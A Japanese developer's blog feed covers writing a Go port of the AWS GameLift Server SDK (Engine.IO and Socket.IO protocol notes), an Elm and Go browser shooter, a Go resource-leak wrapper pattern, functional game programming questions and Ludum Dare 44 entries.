GameLiftのGo用Server SDKを作ってみた https://www.neguse.dev/posts/26 https://www.neguse.dev/posts/26 Thu, 09 Apr 2020 00:00:00 GMT
その名も GomeLift。[https://github.com/neguse/gomelift](https://github.com/neguse/gomelift)

GomeLift を使うと、Go を使って開発したサーバを GameLift にデプロイできるようになります。これにより、例えばリアルタイムに通信してゲームの状態を管理するサーバを Go で開発しているケースでは、サーバのスケーリングやマッチメイキングを GameLift にお任せできるようになります。

現状は、とりあえず公式の Server SDK の機能をほぼまるまる移植して、サンプルが一応動いたという程度の状態です。もし使ってみた方がいましたら、お気軽に感想や要望など、GitHub の Issue や  [twitter:neguse](http://twitter.com/neguse)  までご連絡ください。

開発の動機、履歴を追いたい方は過去のログを参照ください。たぶん最初の記事が一番くわしいです。

なんだかんだで 2 ヶ月かかってしまったけど、これでようやく次の作業にとりかかれる…
]]>
GameLiftのGo用Server SDKを作ってみたい(7) https://www.neguse.dev/posts/25 https://www.neguse.dev/posts/25 Mon, 06 Apr 2020 00:00:00 GMT


AWS に Build として GomeLift [https://github.com/neguse/gomelift](https://github.com/neguse/gomelift)  を組み込んだサーババイナリをデプロイしてみて、セッション(GameSession, PlayerSession)の管理ができることを確認できた。長かった~~

あとは Backfill だけ試して機能的には一通り完了として、テストに使ったサーバなどのプログラムをサンプルコードとしてコミットして、ドキュメント書けばひとまず完了とできそう

一方、GameLift にアップデートが来ていて、「GameLift FleetIQ with game server groups 」という機能がプレビュー公開されていた[https://twitter.com/neguse/status/1245943776893255680](https://twitter.com/neguse/status/1245943776893255680)

これを使うと Server SDK なしでサーバプロセスを GameLift に登録できるっぽくて、つまり自分の今までやっていたことは一体…という気分になったりした
]]>
GameLiftのGo用Server SDKを作ってみたい(6) https://www.neguse.dev/posts/24 https://www.neguse.dev/posts/24 Sun, 29 Mar 2020 00:00:00 GMT
前回からの引き続き  [https://github.com/neguse/gomelift](https://github.com/neguse/gomelift)  
通信を WebSocket に切り替えて、GameLiftLocal(ローカル環境で動く GameLift エミュレータ)では一通り動くような気がしてきた。切り替えはもっと手間がかかるかと思っていたけど、Engine.IO のレイヤーにしか影響がなかったのであまり手間がかからなかった。あとは本物の GameLift に載せて動くことが確認できれば完了とできそう。

そろそろ GameLift 上でどんなゲームを動かしたいか考えてみる必要がありそう。とりあえずボンバーマン的な何かを動かしてはどうか。
]]>
GameLiftのGo用Server SDKを作ってみたい(5) https://www.neguse.dev/posts/23 https://www.neguse.dev/posts/23 Sun, 22 Mar 2020 00:00:00 GMT
前回から引き続き。[https://github.com/neguse/gomelift](https://t.umblr.com/redirect?z=https%3A%2F%2Fgithub.com%2Fneguse%2Fgomelift&t=MmMwMmI2YmNiNWRjMjVlMzcxNWFkMTRmNmE3MjE2YzBjZjI1ZTJhZixhcTgxY2hQWA%3D%3D&b=t%3Asc3qyIVMMuRCCqlO929J5w&p=https%3A%2F%2Fwww.neguse.dev%2Fpost%2F612563897674809344%2Fgamelift%25E3%2581%25AEgo%25E7%2594%25A8server-sdk%25E3%2582%2592%25E4%25BD%259C%25E3%2581%25A3%25E3%2581%25A6%25E3%2581%25BF%25E3%2581%259F%25E3%2581%25844&m=1)

クライアントから送ったメッセージに対しての Ack を受け取るところは、思ったよりあっさり作れた。送信時に channel を作成して message id をキーにした map に channel を格納して channel を receive、受信時に map から channel を取り出して送信したら後続の処理が行われるという方法。

GameLiftServerSDK に付属している GameLiftLocal サーバを使ってテストしているのだけど、1 分強接続すると勝手に切断する問題が出てて、どのレイヤー(engine.io, socket.io, gamelift クライアント)が問題なのかわからないので詰まっている。たぶん engine.io なんじゃないかという気がするのだけど、でも ping/pong はできてるはずで、node 用の socket.io サーバに接続した場合は問題なく接続が維持できてるっぽい。なぜ…

公式 SDK でも同様のクライアントを組んでみて、パケットキャプチャして比較してみるとかかなぁ。でもそれだと WebSocket が使われそうなので(GomeLift では手抜きのため HTTP Polling を使っている)、同じ方式を使うためにまず Transport を WebSocket に置き換えてみるのが良いかもしれない。

なかなか完成しない…
]]>
GameLiftのGo用Server SDKを作ってみたい(4) https://www.neguse.dev/posts/22 https://www.neguse.dev/posts/22 Sat, 14 Mar 2020 00:00:00 GMT
未完成だけど、リポジトリを作った。[https://github.com/neguse/gomelift](https://github.com/neguse/gomelift)

前回から Socket.IO の実装を行って、ライブラリとしての形ができつつある。結局 Ack を返すためには gomasio は使えず、自前で Socket.IO を実装している。だいぶ手抜きではあるが、一応 StartGameSession に対して Ack を返して、ゲームセッションの作成が完了するところまで確認できている。

ある程度形になったあと、他にも Socket.IO クライアントの Go 実装をしていた方を見かけた。 [https://github.com/graarh/golang-socketio](https://github.com/graarh/golang-socketio)  一旦見なかったことにしてすすめる。メンテ放置されてそうだし…

サーバから来たメッセージに対する Ack を返すのは割と簡単にできたが、クライアントから送信したメッセージに対するサーバの Ack を再度クライアントで受け取れるようにするところがちょっと難しそう。メッセージの ID をもとにどこに返すかを覚えておく必要があるが、Go だとチャンネルを使うのがいいのだろうか。インタフェースいじらないと難しいかも。

また、受信したメッセージをデシリアライズするところがあまりきれいに書けていない。こちらももう少しインタフェースを考えないといけなそう。

だいぶ先が見えてきたので、もうひとがんばりではありそう。
]]>
GameLiftのGo用Server SDKを作ってみたい(3) https://www.neguse.dev/posts/21 https://www.neguse.dev/posts/21 Sun, 23 Feb 2020 00:00:00 GMT
引き続き、engine.io のクライアント実装を書いてみる。

[https://gist.github.com/neguse/05a497f651c99455caa1410282caf049](https://gist.github.com/neguse/05a497f651c99455caa1410282caf049)

実際に書いてみると理解が間違っていたところがあった。

XHR の場合、Client→Server のデータ送信は Client からの POST リクエストに載っているのだけど、この POST のレスポンスに Server→Client のデータ送信も(バッファに溜まっている場合)含まれるものだと思っていた。これは違っていて実際には POST レスポンスには”ok”という文字だけが入っていて、Server→Client のデータ送信は Client からの GET リクエストのレスポンスにのみ含まれる。

タイムアウト周りとか websocket への upgrade とかいろいろ足りてないところはありそうな気がするけど、いったん動きそうな気持ちになってきたので引き続き socket.io を調べて実装していく。
]]>
GameLiftのGo用Server SDKを作ってみたい(2) https://www.neguse.dev/posts/20 https://www.neguse.dev/posts/20 Mon, 17 Feb 2020 00:00:00 GMT
ということで、まず Engine.IO を調査してみた。 websocket だけの実装ではだめっぽいので、少なくとも polling/xhr は必要そう。

XHR クライアントに限定したら簡単に実装できそうかなあという印象。 upgrade 周り含めるとちょっと面倒そう。 あと、Ack は Engine.IO には含まれてないので Socket.IO まで見る必要がありそう。

次は、簡易でいいので Engine.IO の Go クライアントを用意してみる。

以下メモ。

[https://github.com/socketio/engine.io-protocol](https://github.com/socketio/engine.io-protocol) [https://github.com/socketio/engine.io-parser](https://github.com/socketio/engine.io-parser) [https://github.com/socketio/engine.io-client](https://github.com/socketio/engine.io-client)

Transport は Engine.IO の URL に対して接続を確立する サーバは open に対して sid, upgrades, pingTImeout, pingInterval を含む返信をする サーバは ping に対して pong しなければならない クライアントとサーバは message パケットを自由に交換する(おそらく Request-Response のように対になることなくそれぞれ勝手に、という意味) Polling している Transport はソケットを閉じるため close を送ることができる?`since they're expected to be "opening" and "closing" all the time.`がよくわからん

URL は`/engine.io/[?<query string>]` という形式。 query はオプショナルで、`transport`, `j`, `sid`, `b64`の 4 つが予約されている。 transport は Transport 名で、デフォルトでは`polling``websocket` j は transport が`polling`で JSONP response が要求されている時、JSONP response index が設定される sid はセッション ID。クライアントがセッション ID を与えられたら指定する必要あり b64 はクライアントが XHR2 をサポートしていない時 b64=1 となって、バイナリは base64 エンコードされて送られる

エンコーディング

packet と payload がある

packet は UTF8 文字列かバイナリデータ 文字列の場合、以下のフォーマット

```
[] ```

バイナリでも同じだけど、`packet type id`のところが最初の 1 バイトになる

パケットタイプは以下のものがある

0 open 新しい Transport が開いた時サーバからクライアントに送られる

1 close Transport を閉じる要求だが、自身のコネクションは閉じない? (Transport と Connection の違いがわからん?)

2 ping 3 pong Ping に来たデータをそのまま Pong する必要ある

4 message データをコールバックに渡して呼ぶ必要がある(プロトコルというよりライブラリの話)

5 upgrade Transport を切り替える前に新しい接続方法でいけるかテストする。テスト成功したらクライアントは upgrade を送って、新しい Transport に切り替わる。

6 noop poll cycle を強制するため incoming websocket connection を受け取った場合に使われる? (よくわからん)

payload

いくつかのパケットをつなげたもの

`<length1>:<packet1>[<length2>:<packet2>[...]]` つまり長さとパケットが交互に来る形 length は文字数で表現する packet は上で説明した通り

XHR2 がサポートされていない時は base64 エンコードされた文字列として送信する それを示すために b という文字がくっつく

```
:b ```

XHR2 がサポートされている時はこれ

```
<0 for string data, 1 for binary data>[...] ```

UTF8 文字列とバイナリデータの組み合わせが送信される時は、各文字の文字コードが 1 バイトずつ書き込まれる?

Payload は framing をサポートしていない transport で使われる。polling とか

Transport

websocket, polling がある polling には jsonp と xhr がある

polling は、クライアントからサーバに対する定期的な GET と、データ送信時の POST からなる

xhr では CORS レスポンスをサポートする必要がある jsonp ではサーバは正しい JavaScript を返信するよう実装する必要がある websocket ではフレーミングをサポートしているため payload は使ってはならない

connection は常に polling(xhr か jsonp)で開始する WebSocket は probe を送信するところでテストされ、probe が返れば upgrade される
]]>
GameLiftのGo用Server SDKを作ってみたい(1) https://www.neguse.dev/posts/19 https://www.neguse.dev/posts/19 Tue, 11 Feb 2020 00:00:00 GMT
AWS に GameLift というサービスがある。これを使うとゲームサーバ(\*)を勝手にスケールしてくれるなどいい感じにマネージしてくれるらしい。

(\*GameLift がいうところのゲームサーバは、いわゆる API サーバではなく、いわゆる Dedicated Game Server の方。Ark やマインクラフトなどマルチプレイ用サーバを自分で立てられるゲームで遊んだことがある人ならイメージしやすいと思う)

GameLift を使うには、GameLift Server SDK を組み込んだゲームサーバを作って、GameLift にアップロードする必要がある。GameLift Server SDK というのは、GameLift がゲームサーバを管理するための各種処理をやるやつで、公式には C++と C#の SDK が提供されている。あと非公式な port として[Node.js 版](https://github.com/dplusic/GameLift-Nodejs-ServerSDK)がある。[前回の記事](https://www.neguse.dev/post/189553676723/elm%E3%81%A8go%E3%81%A7web%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E7%94%A8%E3%82%AA%E3%83%B3%E3%83%A9%E3%82%A4%E3%83%B3%E3%82%B7%E3%83%A5%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%B2%E3%83%BC%E3%83%A0%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%82%88%E3%81%86%E3%81%A8%E3%81%97%E3%81%9F%E8%A9%B1)の通り Go でサーバもクライアントも書きたい気分なので、今回は Go 用の Server SDK を作ってみたい。

Server SDK の内容は、おおまかには以下の通り。

- ローカルホストに起動している GameLift 管理サーバに対して、Socket.IO の接続を 2 本確立する。1 本は受信用、もう 1 本は送信用として利用する()
- ゲームサーバの準備ができたタイミングで GameLift に通知すると、GameLift からセッション作成要求が来た際にコールバックが呼ばれる
- 接続を確立したあとは定期的に死活チェックを行う
- 通信されるメッセージは Protocol Buffers でシリアライズを行う

ということは、Socket.IO と Protocol Buffers がなんとかなればよさそう。

幸い Go には Socket.IO のクライアントを実装した[gomasio](https://github.com/orisano/gomasio)というライブラリがあって、Protocol Buffers は Google がサポートしているライブラリがあり、Protocol の定義ファイルは[前述の Node.js 版の著者が公開してる](https://github.com/dplusic/GameLift-Server-Protobuf)しで、割と簡単にいけそうな気がする。

[https://gist.github.com/neguse/1881c8d291eebf15a2a3f8c36a8ee4bf](https://gist.github.com/neguse/1881c8d291eebf15a2a3f8c36a8ee4bf)

ということでやってみている途中のコードがこちらになります。

とりあえずテスト用のローカルで起動する GameLiftLocal というサーバに接続して、StartGameSession が呼ばれるところまでは確認できた。次に Ack を返さないといけないらしいのだけど、ちょっと方法が見つからなくて、どうすれバイインダーというところで今日は以上です。

- GameLift Server SDK は Process ID や SDK のバージョンを URL のクエリストリングで受け取るようになっているが、現状 gomasio にはクエリストリングを渡す方法が無いため、無理やり RawQuery を上書きしている。
- gomasio はイベント受信時のコールバックに渡される Context 引数経由でイベントを Emit できるようになっているが、ヘルスチェックやサーバの準備ができたことの通知などでコールバック外からイベントを Emit したい。socketio.NewContext()を呼ぶことで無理やり外部から Context を作っているが、これでいいのか感がある。packet 引数に nil 渡すと死ぬし…
- Socket.IO と、それのベースになっている Engine.IO はシンプルそうなので、自前で実装してもよいかもしれない。(だんだん本題からそれていきそう)
]]>
ElmとGoでWebブラウザ用オンラインシューティングゲームを作ってみようとした話 https://www.neguse.dev/posts/18 https://www.neguse.dev/posts/18 Mon, 09 Dec 2019 00:00:00 GMT
この記事は、[Elm2 Advent Calendar 2019](https://qiita.com/advent-calendar/2019/elm2)の 9 日目の記事です。  明日はまだ予定が埋まってないので、参加するなら今がチャンス!

3 行まとめ

- [https://g.neguse.net](https://g.neguse.net) 以前これを作った
- がんばればもっと作り込めそうではあるものの、サーバとクライアントは同じ言語で書きたいので一旦保留
- 次似たことをやるとしたら Go でクライアントもサーバも書くかもだけど、Elm でゲーム作るのはそれとは別にやりたい

## やりたかったこと
技術的な興味から、リアルタイムで状態を同期するタイプのゲームを作ってみたいと思った。 題材としてどんなのがいいかなと考えたところ、以前遊んだ [Subspace Continuum](https://store.steampowered.com/app/352700/Subspace_Continuum/)というゲームを思い出した。Subspace Continuum はオンラインで多人数対戦する 2D シューティングゲームなのだけど、これを簡略化して作ってみようとした。 自機が出て、弾が出て、相手に当たるぐらいなら割と簡単につくれるのでは…と考えていた。

## デスクトップ版、そしてブラウザへ…
まず C++で PC アプリケーションとして実装した。

[https://github.com/neguse/omb/](https://github.com/neguse/omb/)

SDL2 と、Redis のソースに含まれる anet という通信ライブラリ、おなじく Redis の ae というイベントライブラリを使っている。

これはこれで動いたけど、ゲームの配布方法に課題を感じていた。 「実行ファイルをダウンロードして実行してください。同じタイミングで接続している他のプレイヤーがいたら一緒に遊べます」というのは宣伝など何もしていない無名のオンラインゲームに対しては敷居が高く、まず同時接続数がゼロになることが想定された。 もっと手軽に配布して、一緒に遊べるようにしたかったため、ブラウザで遊べるようにすることを検討した。

## つくったもの
[https://g.neguse.net](https://g.neguse.net)  これです



キーボードか、画面に表示されているボタンで操作します。

- 上キー: 前進
- 左右キー: 方向転換
- 下キー: 弾を発射

複数人や複数タブで同時にアクセスすると、一緒に遊ぶことができます。 当たり判定はありますが、特にあたってもダメージを受けたりということはありません。

## 実装
詳しくはソースを読んでください。 [https://github.com/neguse/son](https://github.com/neguse/son)

クライアントは Elm で、サーバは Go で書いて、WebSocket で通信するようにしている。 Elm を使ったのは、JavaScript をあんまり書きたくなく、関数型でゲームを作るというアイデアに興味があったため。 Go を使ったのは、C++でサーバを書くのがしんどかったため。 WebSocket を使ったのは、そこそこ高頻度の通信を行える方法が WebSocket と WebRTC ぐらいしかなく、WebSocket のほうがお手軽なため。

いくつか実装上のポイントを以下で述べる。

## 同期のしかた
クライアントからサーバへは、入力の情報(弾を撃つ、方向転換、前進)を送信している。 サーバからクライアントへは、現在の機体や弾の情報(位置、速度)を送信している。

サーバは、クライアントから受け取った入力の情報を反映して 1 秒に 10 回シミュレーションを実行して、都度全クライアントに全情報を送信している。 クライアントは、サーバから受け取った最新の情報をもとに、機体や弾の位置を線形補完で外挿して毎フレーム表示している。 サーバから情報が送られる頻度は 1 秒間に 10 回と低いものの、補完して表示しているのでなめらかに見える。

## クライアントとサーバをあわせてワンバイナリ化
クライアントをコンパイルした結果生成された JavaScript を Go のサーバから static データとして配信しているため、最終的にはサーバで実行ファイルを動かすだけで稼働できる。 jteeuwen/go-bindata というライブラリを使っているのだけど、これはメンテされていなかったりアカウントが別の方のものになってたりしてて、あんまりよろしくない状態となってる。直したい。

[https://twitter.com/mattn_jp/status/961389640187031553](https://twitter.com/mattn_jp/status/961389640187031553)

Docker 化、自動ビルド

ビルド環境が Docker 化されていて、GitHub のリポジトリにコミットがあったら自動で再ビルド、再起動するようになっている。 [just-containers/s6-overlay](https://github.com/just-containers/s6-overlay) を使って、1 コンテナ内でこれらの手順を実行している。 当時いちいちサーバに入ってビルドしなおすのが面倒で、なんとなくノリでこういう構成にしてみたが、かなり複雑な作りとなってしまった。いまなら GitHub Actions など外部の仕組みでコミットに反応してビルド・デプロイして、コンテナはシンプルにサーバを起動するだけにしておくのがよい気がする。

## スマホ対応、QR コード表示
スマホならみんな持ってるし、QR コードで URL を共有することで手軽に同じ Web ページを開くことができる。 このため、ちょっと興味ありそうな人に QR コードを見せて、ササッと一緒に遊ぶということがとても簡単になった。

## 感想
かなり乱暴な実装だけど、思ったよりスムーズに動いた。同時接続ユーザが多くなったり弾を撃ちまくったりすると位置のずれが目立つことがある。もう少し補完を工夫すれば良くなるはず。 Elm も Go も優秀という印象を持った。静的型付け言語であるためコンパイルエラーを解消すればある程度動作することを保証できる。またどちらも WebSocket のライブラリが揃っており、簡単に通信することができる点がよかった。

今後機能を実装していく上で、クライアントとサーバの実装を共通化できないことがネックになることが懸念された。 例えば移動処理は物理エンジンに丸投げしたいが、Go と Elm で共通で使える物理エンジンは存在しない。同じ物理エンジンが使えれば両方で同じシミュレーションを実行して、サーバからクライアントへ定期的に情報を送ることでずれを補正するだけでよくなるはずだが、こういうことができない。 また、通信データの構造をサーバ・クライアント双方に記述する必要があるため、双方で定義の差異をなくするために気をつけなければならない。Protocol Buffers など多言語で定義を共通化するための仕組みはあるが、そもそもサーバもクライアントも共通の実装となっていれば差異は発生しないはずである。 また、今後例えば地形データを実装したり、弾があたった時のダメージを計算する式を実装したりといったことを考えると、サーバ・クライアント間でアセットデータや計算式を共有する必要があると思われる。 これら問題は、サーバ・クライアント双方を同じ言語で実装して、実装を共通化するのがスマートな解決方法に感じられる。 Elm でサーバを書くことはおそらくできない(Elm は意図的にできることを絞っている節を感じる)が、Go でクライアントを書くことはできる。([Ebiten](https://github.com/hajimehoshi/ebiten)という 2D ゲームライブラリもある) そのため、今回のような目的では Go でサーバ・クライアントを実装して処理を共通化するというのはありなのではないかと思う。

一方、Elm などの関数型プログラミングでゲームを実装するのは、それはそれで技術的面白さや意義があると感じている。 ゲームプログラムは、UI やリアルタイムな時間経過、ランダム性、タイミングなどさまざまな要因で結果が変わりうるため、テストやデバッグが難しいという問題がある。関数型プログラミングでゲームプログラムを記述することで、そのあたりが解消されないだろうかというのを試してみたい。  また、現代のゲームはオブジェクト指向プログラミングで実装されていることが多く、よく知られているゲームプログラミングにおける実装のパターンもオブジェクト指向プログラミングでのものがほとんどという印象がある。そのため関数型プログラミングでゲームを作る際の定石は比較的未開拓で、挑戦しがいのある鉱脈なのではないかと思う。
]]>
ゲームのリアルタイムなネットワーク技術を勉強するDiscordチャンネル https://www.neguse.dev/posts/17 https://www.neguse.dev/posts/17 Sun, 03 Nov 2019 00:00:00 GMT

ほそぼそとやっていこうと思います

興味ある方は[こちらのリンク](http://discord.gg/MSP7SCz)から参加できます
]]>
Goでリソースリークを防ぐ1手法 #golang https://www.neguse.dev/posts/16 https://www.neguse.dev/posts/16 Fri, 18 Oct 2019 00:00:00 GMT
Go には GC があるのでメモリリークは基本発生しませんが、メモリ以外のリソースはリークします。 たとえばよくありそうなのがファイル閉じ忘れ。

[https://play.golang.org/p/h7cOUtlLkIk](https://play.golang.org/p/h7cOUtlLkIk)

```text package main import ( "io/ioutil" "log" ) func main() { f, err := ioutil.TempFile("", "tmp") if err != nil { log.Panic(err) } // f.Closeしてない! f.Write([]byte("hoge")) } ```
f.Close()するのを忘れてるのでリークしちゃってます。 リークを回避するために静的解析でがんばるというアプローチもあるかとは思うのですが、 今回は別の方法を考えてみました。 ioutil.TempFile()を直接使うのではなく、例えば次の例のようにラップしてリークしない安全なバージョンの関数を作ってみます。 [https://play.golang.org/p/jOUzrwHQe2j](https://play.golang.org/p/jOUzrwHQe2j)
```text package main import ( "io/ioutil" "log" "os" ) func TempFileSafe(dir, pattern string, fn func(*os.File) error) error { f, err := ioutil.TempFile("", "tmp") if err != nil { return err } defer f.Close() return fn(f) } func main() { err := TempFileSafe("", "tmp", func(f *os.File) error { // TempFileSafe()の中で、テンポラリファイルを作ったあと // 引数に渡した関数(つまりここの行)が呼ばれる f.Write([]byte("hoge")) return nil }) if err != nil { log.Panic(err) } // TempFileSafe()を抜けたあとはf.Close()が呼ばれてることを保証できるので、 // mainではf.Closeが不要 } ```
処理の流れとしては、以下のようになります。 - main()から TempFileSafe()を呼び出す - TempFileSafe()は ioutil.TempFile()を呼び出す - テンポラリファイル作成に成功したら、\*io.File を引数に渡して TempFileSafe()第三引数の関数を呼び出す - main にかかれている、TempFileSafe()の第三引数として渡した関数の中身が実行される - TempFileSafe()に処理が戻って、defer f.Close()が実行されファイルが閉じられる - TempFileSafe()の実行が完了したので main()に処理が戻る - 終了 このアプローチについて、自分なりによい点、わるい点を考えてみました。 - Pros - TempFileSafe()利用者はファイルを閉じることを考えなくてもよい - ファイルだけでなく終了処理が必要な様々なリソースに同じアプローチを適用可能 - Cons - ラップして Safe 版の関数を作るのが手間 - 関数呼び出しが余計に 1 個必要になるため、実行効率が比較的悪くなる - ネストが深くなるため多用するとネスト地獄になりそう - ioutil.TempFile()を使うこともできてしまう。静的解析で ioutil.TempFile()呼び出しを警告することはできるかもだが、本末転倒になりそう リークさせたくないリソースがあって、多少パフォーマンスを犠牲にできる箇所では使えるかなと思いました。 以上です。
]]>
スマホのTumblrアプリから見た時のCSSはいじれないものか https://www.neguse.dev/posts/15 https://www.neguse.dev/posts/15 Sat, 24 Aug 2019 00:00:00 GMT
```text preの中で 改行しても 改行がつぶれたり ```
- リストを - ネストしても - 同じレベルになってしまう のをなんとかしたいのだけど、どうにかできないものか。 外観設定のところの「デフォルトのモバイルテーマを使用」という チェックは外しているのだけど、おそらくモバイルアプリでなくモバイルブラウザにだけ効いている気がする。
]]>
純粋関数プログラミングでゲームを実装しようとしたけどやり方がわからない https://www.neguse.dev/posts/14 https://www.neguse.dev/posts/14 Thu, 23 May 2019 00:00:00 GMT
要約: [https://twitter.com/neguse/status/620140369984925696](https://twitter.com/neguse/status/620140369984925696)

以前[Elm](https://elm-lang.org/)でゲームを作ろうとして、簡単なもの([これ](https://neguse.github.io/hakoppy/)[これ](https://g.neguse.net/)のクライアント側)なら作れたのだけど、ここからさらに複雑なものを作ろうとするとひとつ問題があって、まだ解き方がわかっていない。

どんな問題かというと、他の言語にあるような「参照」が必要なケースを、現実的な実行速度で実装するためにはどうすればいいのかというもの。

具体例をあげると、たとえば追尾ミサイル。何者かをロックして、ロック後は対象の位置に向かって都度方向を修正するような挙動をしたい。安直に考えると、以下のようになりそう。

```text type alias Object = Missile | Ship type alias Missile = { x : Float, y : Float, angle : Float, target : Ship } type alias Ship = { x : Float, y : Float, angle : Float } update : List Object -> List Object update ls = map updateObject ls updateObject : Object -> Object updateObject o = case o of Missile m -> updateMissile m Ship s -> updateShip s updateMissile : Missile -> Missile updateMissile m = -- TODO targetを使って方向を調整しつつ前進 ```
しかし、この方法だとうまくいかない。target としてロック対象の Ship を参照しているかに見えるのだけど、target にははあくまでその瞬間の Ship の状態しか記録されておらず、次のフレームには Ship は移動しているため、この実装だと永遠に過去の位置に対して向き続けてしまう。そのため、フレームをまたいで、同じオブジェクトを参照し続ける仕組みが必要と思われる。 参考に、Monadius のソースコードを読んでみた。 [https://github.com/tanakh/monadius/blob/master/src/Monadius.hs#L427](https://github.com/tanakh/monadius/blob/master/src/Monadius.hs#L427) ゲーム全体の状態を gameObject のリストとして保持しているところは同様で、参照のための tag を各オブジェクトにもたせている。tag はオブジェクトごとにユニークになるようにしておいて、参照先が欲しい場合は filter でリニアサーチしている。…そう、リニアサーチなんですよ。Monadius ではあんまり参照が必要なオブジェクトが無さそうだったので実行時の効率への影響が少なそうなのだけど、これがもっと複雑なゲーム、オブジェクト数の多いゲームになるとあまり現実的な速度で動かせるイメージがない。 じゃあリニアサーチしなくて済むよう辞書にすれば…とも思うのだけど、純粋関数で辞書ってどう組むんですか?とか、辞書を毎フレーム作り直しててパフォーマンスどうなんですか?ってなるとよくわからなくなってしまった。ここが解決できて現実的な速度で動けばだいぶ前進すると思うのだけど、うーむ… なにかいい方法があれば教えていただきたいです。
]]>
cut’n’align https://www.neguse.dev/posts/13 https://www.neguse.dev/posts/13 Tue, 07 May 2019 00:00:00 GMT
というゲームをゴールデンウィークに作った。(’n’)

image

cut’n’align は落ちものパズルゲーム。ブロックが消えるルールは、同じブロックを 3 つ以上縦横斜めに並べると消える。特徴的なのは、落とすものを回すんじゃなくて切る場所を選択してコントロールするところ。

このリンクからアクセスすればブラウザ上で遊べる。スマホでも OK…のはず。

https://neguse.itch.io/cutnalign

コツとしては、まず切らない限りゲームの時間が進むことはないのであせらずゆっくり操作すること。最初のうちはブロックの種類が少ないからけっこう長めに切っても OK で、ここで連鎖を狙うとスコアがよくなりやすい。だんだんブロックの数が増えてきたりおじゃまの × ブロックが出てくるので、がんばって消していく。

---

## こだわりポイント
- サウンド
  - タイトル画面とゲーム画面とでシームレスにつながっている
  - 連鎖すると音の高さが上がっていく
- 危険演出
  - あと少しでブロックを置くスペースが無くなりそうになると、画面が揺れる
- マウスとスマホのタッチ操作に両対応
- ブロックが色だけじゃなくて形も違うように
  - 色の区別がつきにくい人でも遊べるといいなあと思った

作ったときの話は前回のブログに
]]>
Ludum Dare 44にSubmitした https://www.neguse.dev/posts/12 https://www.neguse.dev/posts/12 Tue, 30 Apr 2019 00:00:00 GMT
[https://ldjam.com/events/ludum-dare/44/cutnalign](https://ldjam.com/events/ludum-dare/44/cutnalign)

今は早く寝たい。

今回ブラウザで動くゲームを作るということでいろいろ方法を調べたのだけど、結局[Ebiten](https://github.com/hajimehoshi/ebiten)という Go のライブラリを利用した。Ebiten を使うことで(自分としては比較的)慣れてる Go 言語を使って、Windows 版と HTML 版を同じソースで書くことができてよかった。Ebiten 開発者の hajimehoshi さんにはいろいろ Twitter 上で情報いただいたり、 尋常   じゃない速度でバグを直して頂いたりで本当にお世話になりました。ありがとうございます。

一個だけマルチプラットフォーム対応で工夫した点があって、このゲームはマウスカーソルを動かすことでゲーム内カーソルがブロック単位で移動するのだけど、無条件にマウスカーソル入力を受け取ってしまうとマウスが無いモバイルブラウザでカーソル座標がおかしいことになってしまう。モバイルブラウザではマウス座標を受け取らないようにしたいのだけど、モバイルブラウザかどうかの判定を行う API が存在しないようだった。どう解決したかというと、タイトル画面をマウスボタンで進めた場合だけマウス入力を有効化するようにした。具体的には  [ここ](https://github.com/neguse/ld44/blob/master/main.go#L341-L349)。マウスとタッチを両方同時に使う人はあんまりいないと思うし、まあこれでいいか~と。タッチとクリックだけしか使わないゲームなら不要なテクニックだけど、マウスカーソルの位置に応じてなにか処理をするゲームであれば同じテクニックが使えそう。はこのたいあたりとか。

最初は WebAssembly 版の方が速いしいいかな~と思っていたのだけど、試したら iOS Safari で画面が乱れる現象が起きていてまだ安定して使えないようだった。Apple ぇ… [https://github.com/hajimehoshi/ebiten/issues/631](https://github.com/hajimehoshi/ebiten/issues/631)

ゲーム内容は、今回も最初に「なんとなく落ちものパズルゲームにしたい」というのを考えていて、あとは作りながら進めていったところ、こんな感じになった。というかこれコラムスでは…だってほら、ぷよぷよより作りやすいから…。一応落とすものをローテートさせるのではなく切る長さでコントロールするという点は一応独自性がある気がする。途中で一回、パネポンみたいなリアルタイムに連鎖を繋げられるモードをテストしてみたのだけど、どうも忙しくなってしまってタッチ操作には向かないんじゃないかという印象だった。もうちょっとルール的な深みを出すアイデアも考えてはいたのだけど、具体的にはまとまらず、手が足りない状態だった。

ゲームバランス的なところが詰めきれないまま出してしまったのだけど、3 日目最後の頭がぼーっとしてるタイミングで調整をやるのは無理なので、頭が必要な作業とそうでない作業をわけて、集中が必要な作業は先にやっておくべきだなーと思った。

今回 Go を使ったこともあって部分的にユニットテストをしながら組んでみたのだけど、寝不足な状態でも境界値テストを仕込むことであんまり頭を使わずにバグ修正できたのでよかった。落ち物パズルゲームがユニットテスト向き(離散的、ルールが全て)だというのもあるかもしれない。

Ludum Dare は 48 時間で 1 人で作るモードもあるのだけど、今回 3 日間かけてこれだったので、まだ早いかなーという印象だった。48 時間で作る場合、ほとんど試行錯誤してる余裕なさそう。
]]>
Ludum Dare 44に参加したい https://www.neguse.dev/posts/11 https://www.neguse.dev/posts/11 Mon, 22 Apr 2019 00:00:00 GMT
Ludum Dare はゲームジャムの一つ。Ludum Dare 44 は来週末開催される。

ルールはこちら  [https://ldjam.com/events/ludum-dare/rules](https://ldjam.com/events/ludum-dare/rules)

Jam と Compo という 2 つの部門がある

- Jam

- 1 人ないしチームで
- 72 時間でゲームを作る
- 第三者が作ったアセット(いわゆるフリー素材とか)や、参加者が以前作ったアセットを使える。その場合、Graphic や Audio カテゴリでの投票をオプトアウトできる

- Compo

- 1 人で
- 48 時間でゲームを作る
- すべてのアセットは時間内に作らないといけない
- ソースコードやアセットの公開義務がある

- 共通

- ライブラリやツール、基本となるソースコードは利用してよい
- サブミット後のバグ修正は OK。機能追加は NG

今回は 1 人だけど Jam にしようかなと考えている。

- ゴールデンウィークなので時間がとれる
- 開発ツールに慣れていないので時間がかかりそう

- レビュワーのことを考えるとブラウザで動くゲームがよいらしい
- ブラウザで動くゲームをサクサク作る方法を知らない

- なれてきたら次回以降 Compo に出てもよいかも
]]>
最近やってること https://www.neguse.dev/posts/10 https://www.neguse.dev/posts/10 Mon, 15 Apr 2019 00:00:00 GMT
大きい記事を書くと疲れるので、小出しにしてハードルを下げていきたい

---

